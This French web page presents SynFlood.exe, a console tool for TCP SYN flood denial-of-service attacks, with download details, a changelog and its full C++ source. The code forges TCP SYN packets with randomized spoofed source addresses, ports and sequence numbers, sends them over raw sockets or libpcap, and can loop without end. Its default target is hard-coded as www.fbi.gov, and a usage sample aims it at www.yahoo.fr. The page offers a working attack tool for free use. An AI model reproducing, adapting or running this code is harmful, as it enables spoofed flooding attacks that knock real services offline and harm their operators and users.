Outil d’attaque par saturation de SYN TCP

Outil d’attaque par saturation de SYN TCP

1 – Définition de l’exécutable

L’utilitaire SynFlood permet l’envoi massif de demande d’ouverture de session TCP. L’intérêt de cette utilitaire est de pouvoir changer son IP source de manière aléatoire.

2 – Screen shot

synflood screen shot

3 – Download

Nom : SynFlood.exe
Mode : Console
Version : 2.3
Librairie : 3.10
Taille : 60 Ko
Auteur : _SebF
Date de création : 23 Juillet 2003
Dernière compilation : 26 Août 2006

4 – Suivi du développement

4.1 – Problème restant

4.2 – RoadMap

4.3 – Suivi du projet

  • V2.3.3.10
    Merci à SAAD :
    Compilation en mode release avec optimisation du code source par MS VC++
    Accélération de l’exécution en sourtant les ouverture et fermeture d’interface en dehors de la boucle.
    Ajout de l’argument -view permettant de supprimer l’affichage permettant ainsi un gain de performance.
    Le champs séquence TCP est tiré aléatoirement entre 0 et FFFFFFFF alors qu’avant, c’était entre à et FFFF
  • V2.2.3.10
    Possibilité d’utiliser / au lieu de – dans les arguments
    changement des noms de variables de port_source à tcp_port_source idem de port_destination à tcp_port_destination
    Ajout de l’indication des port TCP dans l’affichage du résultat
  • V2.1.3.10
    Recompilation en Libpcap apportant les nouvelles options : -send_mode -interface -mac_source -mac_source_auto -mac_destination -mac_destination_auto -mac_type
    Résolution du problème où une requête DNS www.fbi.org était dans tous les cas émise, mais quand on spécifiait une IP dans ip_destination
  • V1.8.3.5
    Passage à la nouvelle entête Tcp
    Compilation Visual Sutudio .net 2003 Architect
  • V1.8.3.5
    Changement de l’email dans l’aide.
    Remplacement de l’email par l’url www.frameip.com dans les data.
  • V1.7.3.5
    Suite à la correction en version 1.5, l’aide n’affiché plus la bonne valeur du port destination.
  • V1.6.3.4
    Affectation d’un numéro de version pour la librairie.
    Ajout du paramètre data_size.
  • V1.5
    Correction du problème port tcp de destination par défaut était faux, il manquait htons à l’initialisation.
  • V1.4
    Possibilité, dans les arguments, de selectionner 0 pour port_source et ip_source.
    Modification du code de bouclage infinie pour traiter le conditionnement dans la procédure des arguments.
    Changement de l’ip_destination par defaut à www.fbi.gov.
  • V1.3
    Résolution du problème du mauvais checksum TCP. Correction effectuée dans la librairie.
  • V1.2
    Random de l’IP source et passage de la procédure dans la librairie.
    Random de Seq TCP.
    Random de ID IP.
    Random de Port_source.
  • V1.1
    Résolution du problème de numéro de port. Passage de u char en u short dans le traitement de l’argument.
    Intégration des arguments port_source et port_destination.
    Initialiser l’entête TCP pour le SYN.
    Résolution du problème où Netmon ne voit pas la trame comme du TCP. La solution est de bien positionner le champ Offset qui représente la longueur de l’entête TCP.
  • V1.0
    Création du projet Cmd.
    Passage en Level 4.
    Suppression du répertoire Debug.
    Ajout de /NODEFAULTLIB:libcd.lib dans la compilation.

5 – Code source

5.1 – SynFlood.cpp

// ********************************************
// Nom : SynFlood.cpp
// Auteur : _SebF@frameIP.com.pas.de.spam
// Date de création : 23 Juillet 2003
// version : 2.3.3.10
// Licence : Cette executable est libre de toute utilisation.
//           La seule condition existante est de faire référence
//           au site http://www.frameip.com afin de respecter le travail d'autrui.
// ********************************************

// ********************************************************
// Les includes
// ********************************************************
// Il faut ajouter dans les proprités du projet => C++ => Command Line :
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Include"
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairieSocket"
#include "LibrairieSocket.h"
#include "pcap.h"

// ********************************************************
// Les Librairies
// ********************************************************
// Il faut ajouter dans les proprités du projet => Linker => Command Line :
// /NODEFAULTLIB:libcd.lib
// /LIBPATH:"C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap/NODEFAULTLIB:libcd.lib
// /LIBPATH:"C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Lib"\Lib"
#pragma comment(lib,"Packet.lib")
#pragma comment(lib,"wpcap.lib")

// ********************************************************
// Les procédures
// ********************************************************
void initiation_des_variables(void);
void gestion_des_arguments(int argc, char* argv[]);
void Changement_aleatoire_des_valeurs(void);
void initiation_des_variables_automatiques(void);
void envoi_de_la_trame_winsock(void);
void envoi_de_la_trame_pcap(void);
void affichage_du_resultat(void);

// ********************************************************
// Les variables
// ********************************************************
struct mac entete_mac;                                    // Entête Ethernet
struct ipv4 entete_ipv4;                                   // Entete IP
struct tcp entete_tcp;                                       // Entete TCP

char data_a_envoyer[65535];                         // Data
unsigned int taille_de_data;                  // Longueur du char *, je n'utilise pas strlen car il peux y avoir des 0
unsigned char trame_a_envoyer[65535];                     // Entete IP + data + entete ethernet si send_mode=1
unsigned short taille_de_la_trame_a_envoyer=0;         // Permet d'éviter un sizeof qui s'arrête au premier 0 trouvé
int nombre_de_caractere_emis;                       // Variable récupérant le nombre de caractères émis
unsigned long loops;                                                    // Compteur permettant de lancer x fois les trames
char ip_source_initiale[16];                  // Adresse IP Source permettant d'initier entete_ipv4.ip_source
char ip_destination_initiale[16];            // Adresse IP Destination permettant d'initier entete_ipv4.ip_destination
bool bouclage_infinie;                                      // Variable permettant de définir le mode de boucle infinie (quand loops=0)
bool ip_source_aleatoire;                                // Acive ou désactive le mode IP Source Aléatoire
bool port_source_aleatoire;                             // Acive ou désactive le mode Port Source Aléatoire
unsigned int choix_mode_d_envoi;                                                      // Variable définissant le mode d'envoi (0=Soket - 1=Libpcap)
unsigned char numero_de_l_interface;                                     // Numéro de l'interface qui sera utilisée
struct gestion_des_interfaces liste_des_interfaces; // structure possédant les informations des intefaces
struct adresse_mac adresse_mac_tampon;                                          // Adresse MAC
bool mac_destination_auto;                                                                            // Variable permettant de savoir si l'adresse MAC de destination doit être résolu en ARP
bool mac_source_auto;                                                                                              // Variable permettant de savoir si l'adresse MAC source doit être prise à partir de l'interface
bool view;                                                                              // Variable indiquant si on doit afficher les resultats

WSADATA initialisation_win32;
SOCKADDR_IN information_sur_la_destination;
SOCKET id_de_la_socket;
int on=1;                                                                                 // Permet de paramétrer la fonction SetSockOpt
pcap_t *pointeur_interface;                             // Pointeur de l'interface
char buffer_d_erreur[PCAP_ERRBUF_SIZE]; 

int main (int argc, char* argv[])
            {
            initiation_des_variables();
            gestion_des_arguments(argc,argv);
            initiation_des_variables_automatiques();

            // ********************************************************
            // Initialisation de la Socket et de l'interface
            // ********************************************************
            if (choix_mode_d_envoi==0)
                        {
                        // ********************************************************
                        // Initialisation de la Socket
                        // ********************************************************
                        if (WSAStartup(MAKEWORD(2,2),&initialisation_win32)!=0)
                                   gestion_des_erreurs(1,"WSAStartup",1,1);      
            
                        // ********************************************************
                        // Ouverture d'une Socket
                        // ********************************************************
                        id_de_la_socket=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
                        if (id_de_la_socket==INVALID_SOCKET)
                                   gestion_des_erreurs(1,"socket",1,1);               

                        // ********************************************************
                        // Activation de l'option permettant d'inclure l'entete IP lors de l'emission
                        // ********************************************************
                        if (setsockopt(id_de_la_socket,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on))!=0)
                                   gestion_des_erreurs(1,"setsockopt",1,1);         
                        }
            else
                        {
                        // ********************************************************
                        // Accède à l'interface
                        // ********************************************************
                        if ((pointeur_interface=pcap_open_live( liste_des_interfaces.nom[numero_de_l_interface], 65536,0,1000,buffer_d_erreur))==NULL)
                                   gestion_des_erreurs(1,"pcap_open_live",1,1);
                        }
                        
            // ********************************************************
            // Boucle d'envoi
            // ********************************************************
            while ( (loops!=0)||(bouclage_infinie==TRUE) )
                        {
                        // ********************************************************
                        // Décrémentation de la boucle
                        // ********************************************************
                        loops--;
                        
                        // ********************************************************
                        // Changement aléatoire des champs
                        // ********************************************************
                        Changement_aleatoire_des_valeurs();

                        // ********************************************************
                        // Envoi de la trame
                        // ********************************************************
                        if (choix_mode_d_envoi==0)
                                   envoi_de_la_trame_winsock();
                        else
                                   envoi_de_la_trame_pcap();

                        // ********************************************************
                        // Affichage du résultat
                        // ********************************************************
                        if (view==true)
                                   affichage_du_resultat();
                        }

            // ********************************************************
            // Fermeture de la socket et de l'interface
            // ********************************************************
            if (choix_mode_d_envoi==0)
                        {
                        // ********************************************************
                        // Fermeture de la socket correspondant à la commande socket()
                        // ********************************************************
                        closesocket(id_de_la_socket);

                        // ********************************************************
                        // quite propement le winsock ouvert avec la commande WSAStartup
                        // ********************************************************
                        WSACleanup(); //  (A appeller autant de fois qu'il a été ouvert)
                        }
            else
                        {
                        // ********************************************************
                        // Fermeture de l'accès à l'interface
                        // ********************************************************
                        pcap_close(pointeur_interface);           
                        }
                        
            printf("\n\n");
            return(1);
            }

void initiation_des_variables(void)
            {
            unsigned i;

            // ********************************************************
            // Initiation diverse
            // ********************************************************
            srand(GetTickCount());                                   // Initialise le Random
                        
            // ********************************************************
            // Affichage de la banniere
            // ********************************************************
            printf("\nSynFlood -  Send SYN TCP with spoofing IP Source - Version 2.3.3.10");
            printf("\nCreate on July 23, 2003, Last compilation on August 26, 2006");
            printf("\nCreated by sebastien.fontaine@frameip.com.pas.de.spam");
            printf("\n");

            // ********************************************************
            // Initiation des arguments
            // ********************************************************
            strcpy(ip_destination_initiale,"www.fbi.gov");
            port_source_aleatoire=TRUE;
            ip_source_aleatoire=TRUE;
            loops=1;
            bouclage_infinie=FALSE;
            choix_mode_d_envoi=1;
            numero_de_l_interface=0;
            liste_des_interfaces=recuperation_des_interfaces();
            view=true;

            // ********************************************************
            // Options de l'entête MAC
            // ********************************************************
            adresse_mac_tampon=recuperation_de_l_adresse_mac( liste_des_interfaces.nom[numero_de_l_interface]);
            for (i=0;i<6;i++)
                        {
                        entete_mac.source[i]=adresse_mac_tampon.adresse[i];
                        entete_mac.destination[i]=255;
                        }
            mac_source_auto=true;
            mac_destination_auto=false;
            entete_mac.type=htons(2048); // 08 00 indiquant un datagramme IP

            // ********************************************************
            // Initialisation de l'entete Ip
            // ********************************************************
            entete_ipv4.ihl=5;
            entete_ipv4.version=4;
            entete_ipv4.tos=0;
            entete_ipv4.length=0;
            entete_ipv4.id=0;                                                        // Il est initialisé plutard
            entete_ipv4.offset=0;
            entete_ipv4.ttl=100;
            entete_ipv4.type=6;
            entete_ipv4.ip_source=0;                                // Il est initialisé plutard

            // ********************************************************
            // Initialisation de l'entete TCP
            // ********************************************************
            entete_tcp.port_source=0;                              // Il est initialisé plutard
            entete_tcp.port_destination=htons(80);
            entete_tcp.sequence=0;                                              // Il est initialisé plutard
            entete_tcp.accuse=0;

            entete_tcp.reserved=0;
            entete_tcp.offset=5; // taille de l'entête Tcp
            entete_tcp.flag_fin=0;
            entete_tcp.flag_syn=1;
            entete_tcp.flag_rst=0;
            entete_tcp.flag_psh=0;
            entete_tcp.flag_ack=0;
            entete_tcp.flag_urg=0;
            entete_tcp.reserved2=0;



            entete_tcp.window=htons(16384);                  // Valeur relevée dans un Netmon après un "Telnet IP port"
            entete_tcp.checksum=0;
            entete_tcp.pointeur=0;

            // ********************************************************
            // Initialisation des data
            // ********************************************************
            strcpy(data_a_envoyer,"www.frameip.com");
            taille_de_data=(unsigned int)strlen(data_a_envoyer);
            }

void gestion_des_arguments(int argc,char* argv[])
            {
            char *caractere_non_convertit;
            int i,j;
            bool ip_destination_modofie=false;
            unsigned int tampon; // pour le redimentionnement de la data

            // ********************************************************
            // Affichage de l'aide
            // ********************************************************
            if ( (argc>1) && (strcmp(argv[1],"-?")==0) || (argc==1) )
                        {
                        printf("\n");
                        printf("\nGENERAL OPTIONS");
                        printf("\n-?                     This help");
                        printf("\n-send_mode             0=Soket 1=Libpcap  Defaut: %d",choix_mode_d_envoi);
                        printf("\n-loops                 Number of loops    Default value: %d (0 to no stop)",loops);
                        printf("\n-view                  Show the answers   Default value: %d",view);

                        printf("\n\nFREE INTERFACES");
                        for(i=0;i<(signed)liste_des_interfaces.nombre;i++)
                                   printf("\n%d - %s",i,liste_des_interfaces.description[i]);
                        printf("\n-interface             Interface choice   Defaut: %d",numero_de_l_interface);

                        printf("\n\nETHERNET HEADER OPTIONS (-send_mode 1)");
                        printf("\n-mac_source            @ Ethernet         Defaut: %.2X-%.2X-%.2X-%.2X-%.2X-%.2X",entete_mac.source[0], entete_mac.source[2],entete_mac.source[2],entete_mac.source[3], entete_mac.source[4],entete_mac.source[5]);
                        printf("\n-mac_source_auto       Between 0 or 1     Defaut: %d (1 => MAC from interface)",mac_source_auto);
                        printf("\n-mac_destination       @ Ethernet         Defaut: %.2X-%.2X-%.2X-%.2X-%.2X-%.2X", entete_mac.destination[0],entete_mac.destination[2],entete_mac.destination[2], entete_mac.destination[3],entete_mac.destination[4], entete_mac.destination[5]);
                        printf("\n-mac_destination_auto  Between 0 or 1     Defaut: %d (1 => MAC from @IP)",mac_destination_auto);
                        printf("\n-mac_type              Between 0 & 65535  Defaut: %d",htons(entete_mac.type));

                        printf("\n\nIP HEADER OPTIONS (-mac_type 2048)");
                        printf("\n-ip_source             @IP source         Default: %d (0 to randomize)",entete_ipv4.ip_source);
                        printf("\n-ip_destination        @IP destination    Default: %s",ip_destination_initiale);

                        printf("\n\nTCP HEADER OPTIONS (-ip_type 6)");
                        printf("\n-tcp_port_source       Between 0 & 65535  Default: %d (0 to randomize)",entete_tcp.port_source);
                        printf("\n-tcp_port_destination  Between 0 & 65535  Default: %d",htons(entete_tcp.port_destination));

                        printf("\n\nOPTIONS OF THE DATA LAYER");
                        printf("\n-data_size             size of data       Default: %d",taille_de_data);

                        printf("\n\nSAMPLE");
                        printf("\nsynflood.exe -interface 2 -ip_destination www.yahoo.fr -loops 100");
                        printf("\n\n");
                        exit(0);
                        }

            // ********************************************************
            // Récupération des arguments
            // ********************************************************
            for (i=1;i<argc;i=i+1)
                        {
                        // ********************************************************
                        // Choix généraux
                        // ********************************************************
                        if ( (strcmp(strlwr(argv[i]),"-loops")==0) || (strcmp(strlwr(argv[i]),"/loops")==0) )
                                   {
                                   loops=(unsigned long)strtod(argv[i+1],&caractere_non_convertit);
                                   if (loops==0)
                                               bouclage_infinie=TRUE;
                                   else
                                               bouclage_infinie=FALSE;
                                   }
                        if ( (strcmp(strlwr(argv[i]),"-send_mode")==0) || (strcmp(strlwr(argv[i]),"/send_mode")==0) )
                                   {
                                   choix_mode_d_envoi=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
                                   if (choix_mode_d_envoi!=1)
                                               choix_mode_d_envoi=0;
                                   }
                        if ( (strcmp(strlwr(argv[i]),"-view")==0) || (strcmp(strlwr(argv[i]),"/view")==0) )
                                   view=(bool)strtod(argv[i+1],&caractere_non_convertit);

                        // ********************************************************
                        // Choix de l'interface
                        // ********************************************************
                        if ( (strcmp(strlwr(argv[i]),"-interface")==0) || (strcmp(strlwr(argv[i]),"/interface")==0) )
                                   numero_de_l_interface=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);

                        // ********************************************************
                        // Options de l'entête MAC
                        // ********************************************************
                        if ( (strcmp(strlwr(argv[i]),"-mac_source")==0) || (strcmp(strlwr(argv[i]),"/mac_source")==0) )
                                   {
                                   adresse_mac_tampon=transformation_string_en_mac(argv[i+1]);
                                   for (j=0;j<6;j++)
                                               entete_mac.source[j]=adresse_mac_tampon.adresse[j];
                                   }
                        if ( (strcmp(strlwr(argv[i]),"-mac_source_auto")==0) || (strcmp(strlwr(argv[i]),"/mac_source_auto")==0) )
                                   if ((unsigned char)strtod(argv[i+1],&caractere_non_convertit)==1)
                                               mac_source_auto=true;
                                   else
                                               mac_source_auto=false;

                        if ( (strcmp(strlwr(argv[i]),"-mac_destination")==0) || (strcmp(strlwr(argv[i]),"/mac_destination")==0) )
                                   {
                                   adresse_mac_tampon=transformation_string_en_mac(argv[i+1]);
                                   for (j=0;j<6;j++)
                                               entete_mac.destination[j]=adresse_mac_tampon.adresse[j];
                                   }
                        if ( (strcmp(strlwr(argv[i]),"-mac_destination_auto")==0) || (strcmp(strlwr(argv[i]),"/mac_destination_auto")==0) )
                                   if ((unsigned char)strtod(argv[i+1],&caractere_non_convertit)==1)
                                               mac_destination_auto=true;
                                   else
                                               mac_destination_auto=false;
                        if ( (strcmp(strlwr(argv[i]),"-mac_type")==0) || (strcmp(strlwr(argv[i]),"/mac_type")==0) )
                                   entete_mac.type=htons((unsigned short)strtod(argv[i+1],&caractere_non_convertit));

                        // ********************************************************
                        // Options de l'entête IP
                        // ********************************************************
                        if ( (strcmp(strlwr(argv[i]),"-ip_source")==0) || (strcmp(strlwr(argv[i]),"/ip_source")==0) )
                                   if (argv[i+1]==0)
                                               ip_source_aleatoire=TRUE;
                                   else
                                               {
                                               ip_source_aleatoire=FALSE;
                                               entete_ipv4.ip_source=(unsigned long)resolution_de_nom(FALSE,argv[i+1]);
                                               }
                        if ( (strcmp(strlwr(argv[i]),"-ip_destination")==0) || (strcmp(strlwr(argv[i]),"/ip_destination")==0) )
                                   {
                                   entete_ipv4.ip_destination=(unsigned long)resolution_de_nom(FALSE,argv[i+1]);
                                   ip_destination_modofie=true;
                                   }
                                   
                        // ********************************************************
                        // Options de l'entête TCP
                        // ********************************************************
                        if ( (strcmp(strlwr(argv[i]),"-tcp_port_source")==0) || (strcmp(strlwr(argv[i]),"/tcp_port_source")==0) )
                                   if (argv[i+1]==0)
                                               port_source_aleatoire=TRUE;
                                   else
                                               {
                                               port_source_aleatoire=FALSE;
                                               entete_tcp.port_source=htons((unsigned short)strtod(argv[i+1],&caractere_non_convertit));
                                               }
                        if ( (strcmp(strlwr(argv[i]),"-tcp_port_destination")==0) || (strcmp(strlwr(argv[i]),"/tcp_port_destination")==0) )
                                   entete_tcp.port_destination= htons((unsigned short) strtod(argv[i+1],&caractere_non_convertit));

                        // ********************************************************
                        // Options de la couche DATA
                        // ********************************************************
                        if ( (strcmp(strlwr(argv[i]),"-data_size")==0) || (strcmp(strlwr(argv[i]),"/data_size")==0) )
                                   {
                                   tampon=(unsigned int)strtod(argv[i+1],&caractere_non_convertit);
                                    memcpy(data_a_envoyer, dimensionnement_de_data_a_envoyer(false,data_a_envoyer, taille_de_data,tampon),tampon);
                                   taille_de_data=tampon;
                                   }
                        }

            // ********************************************************
            // Résoud le nom spécifié en initialisation
            // ********************************************************
            // Fait ici pour éviter de le résoudre si l'utilisateur spécifi une IP
            if (ip_destination_modofie==false)
                        entete_ipv4.ip_destination=(unsigned long)resolution_de_nom(FALSE,ip_destination_initiale);

            }

void Changement_aleatoire_des_valeurs()
            {
            // ********************************************************
            // Random de l'IP Source
            // ********************************************************
            if (ip_source_aleatoire==TRUE)
                        entete_ipv4.ip_source=generation_d_une_adresse_ip_aleatoire(0);

            // ********************************************************
            // Random de l'ID IP
            // ********************************************************
            entete_ipv4.id=(unsigned short)(rand()%65536);                                                        // Tire entre 0 et 65535
                 
            // ********************************************************
            // Random du Port Source
            // ************************************************* *******
            if (port_source_aleatoire==TRUE)
                        entete_tcp.port_source=(unsigned short)(rand()%64511+1+1024);    // Tire entre 1025 et 65535

            // ********************************************************
            // Random de la séquence TCP
            // ********************************************************
            entete_tcp.sequence=(unsigned long)((rand()%65536)*(rand()%65536));                  // Tire entre 0 et 4294967295
            }

void initiation_des_variables_automatiques(void)
            {
            unsigned int i;                                                                                                             // Pour les boucles for

            // ********************************************************
            // Préparation des adresses MAC
            // ********************************************************
            if (mac_source_auto==true)
                        {
                        adresse_mac_tampon=recuperation_de_l_adresse_mac(liste_des_interfaces.nom[numero_de_l_interface]);
                        for (i=0;i<6;i++)
                                   entete_mac.source[i]=adresse_mac_tampon.adresse[i];
                        }
            if (mac_destination_auto==true)
                        {
                        adresse_mac_tampon=resolution_arp( liste_des_interfaces.nom[numero_de_l_interface], 0,ip_destination_initiale,3);
                        for (i=0;i<6;i++)
                                   entete_mac.destination[i]=adresse_mac_tampon.adresse[i];
                        }
            }

void envoi_de_la_trame_winsock(void)
            {
            // ********************************************************
            // Calcul du checksum TCP
            // ********************************************************
            entete_tcp.checksum=calcul_du_checksum_tcp(false,entete_ipv4.ip_source,entete_ipv4.ip_destination, entete_tcp,data_a_envoyer,taille_de_data);

            // ********************************************************
            // Préparation de la trame à envoyé
            // ********************************************************
            memcpy(trame_a_envoyer,(unsigned short *)&entete_ipv4, sizeof(struct ipv4));
            memcpy(trame_a_envoyer+sizeof(struct ipv4), (unsigned short *)&entete_tcp,sizeof(struct tcp));
            memcpy(trame_a_envoyer+sizeof(struct ipv4)+ sizeof(struct tcp),data_a_envoyer,taille_de_data);

            // ********************************************************
            // Paramètre nécessaire au sendto
            // ********************************************************
            information_sur_la_destination.sin_family=AF_INET;
            information_sur_la_destination.sin_addr.s_addr=entete_ipv4.ip_destination;

            // ********************************************************
            // Envoi de la trame en winsock
            // ********************************************************
            taille_de_la_trame_a_envoyer=sizeof(struct ipv4)+sizeof(struct tcp)+(unsigned short)taille_de_data;
            nombre_de_caractere_emis=sendto(id_de_la_socket,(char *)trame_a_envoyer, taille_de_la_trame_a_envoyer,0, (struct sockaddr*)&information_sur_la_destination,sizeof(information_sur_la_destination));
            if (nombre_de_caractere_emis==-1)
                        gestion_des_erreurs(1,"sendto",1,1);
            }

void envoi_de_la_trame_pcap(void)
            {
            // ********************************************************
            // Calcul du checksum TCP
            // ********************************************************
            entete_tcp.checksum=calcul_du_checksum_tcp(FALSE,entete_ipv4.ip_source, entete_ipv4.ip_destination,entete_tcp, data_a_envoyer,taille_de_data);

            // ********************************************************
            // Calcul de la longueur totale
            // ********************************************************
            entete_ipv4.length=htons((unsigned short)(sizeof(struct ipv4)+sizeof(struct tcp)+taille_de_data));

            // ********************************************************
            // Calcul du checksum IP
            // ********************************************************
            entete_ipv4.checksum=calcul_du_checksum_ip(false,entete_ipv4);

            // ********************************************************
            // Préparation de la trame à envoyé
            // ********************************************************
            memcpy(trame_a_envoyer,(unsigned short *)&entete_mac,sizeof(struct mac));   
            memcpy(trame_a_envoyer+sizeof(struct mac),(unsigned short *)&entete_ipv4,sizeof(struct ipv4));
            memcpy(trame_a_envoyer+sizeof(struct mac)+sizeof(struct ipv4),(unsigned short *)&entete_tcp,sizeof(struct tcp));
            memcpy(trame_a_envoyer+sizeof(struct mac)+sizeof(struct ipv4)+sizeof(struct tcp),data_a_envoyer,taille_de_data);

            // ********************************************************
            // Envoi de la trame
            // ********************************************************
            taille_de_la_trame_a_envoyer=sizeof(struct mac)+sizeof(struct ipv4)+sizeof(struct tcp)+(unsigned short)taille_de_data;
            if(pcap_sendpacket(pointeur_interface,trame_a_envoyer,taille_de_la_trame_a_envoyer)!=0)
                        gestion_des_erreurs(1,"pcap_sendpacket",1,1);                      
            }

void affichage_du_resultat()
            {
            struct in_addr convertion_inet_addr;
            
            // ********************************************************
            // Affichage du resultat
            // ********************************************************
            convertion_inet_addr.S_un.S_addr=entete_ipv4.ip_source;
            printf("\nThe SYN TCP was sent from %s:%d",inet_ntoa(convertion_inet_addr),htons(entete_tcp.port_source));
            convertion_inet_addr.S_un.S_addr=entete_ipv4.ip_destination;
            printf(" to %s:%d - %d Bytes",inet_ntoa(convertion_inet_addr),htons(entete_tcp.port_destination),taille_de_la_trame_a_envoyer);
            }

6 – Discussion autour de l’outil d’attaque par saturation de SYN TCP

Vous pouvez poser toutes vos questions, faire part de vos remarques et partager vos expériences à propos de l’outil d’attaque par saturation de SYN TCP. Pour cela, n’hésitez pas à laisser un commentaire ci-dessous :

X - Commentaire et discussion

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *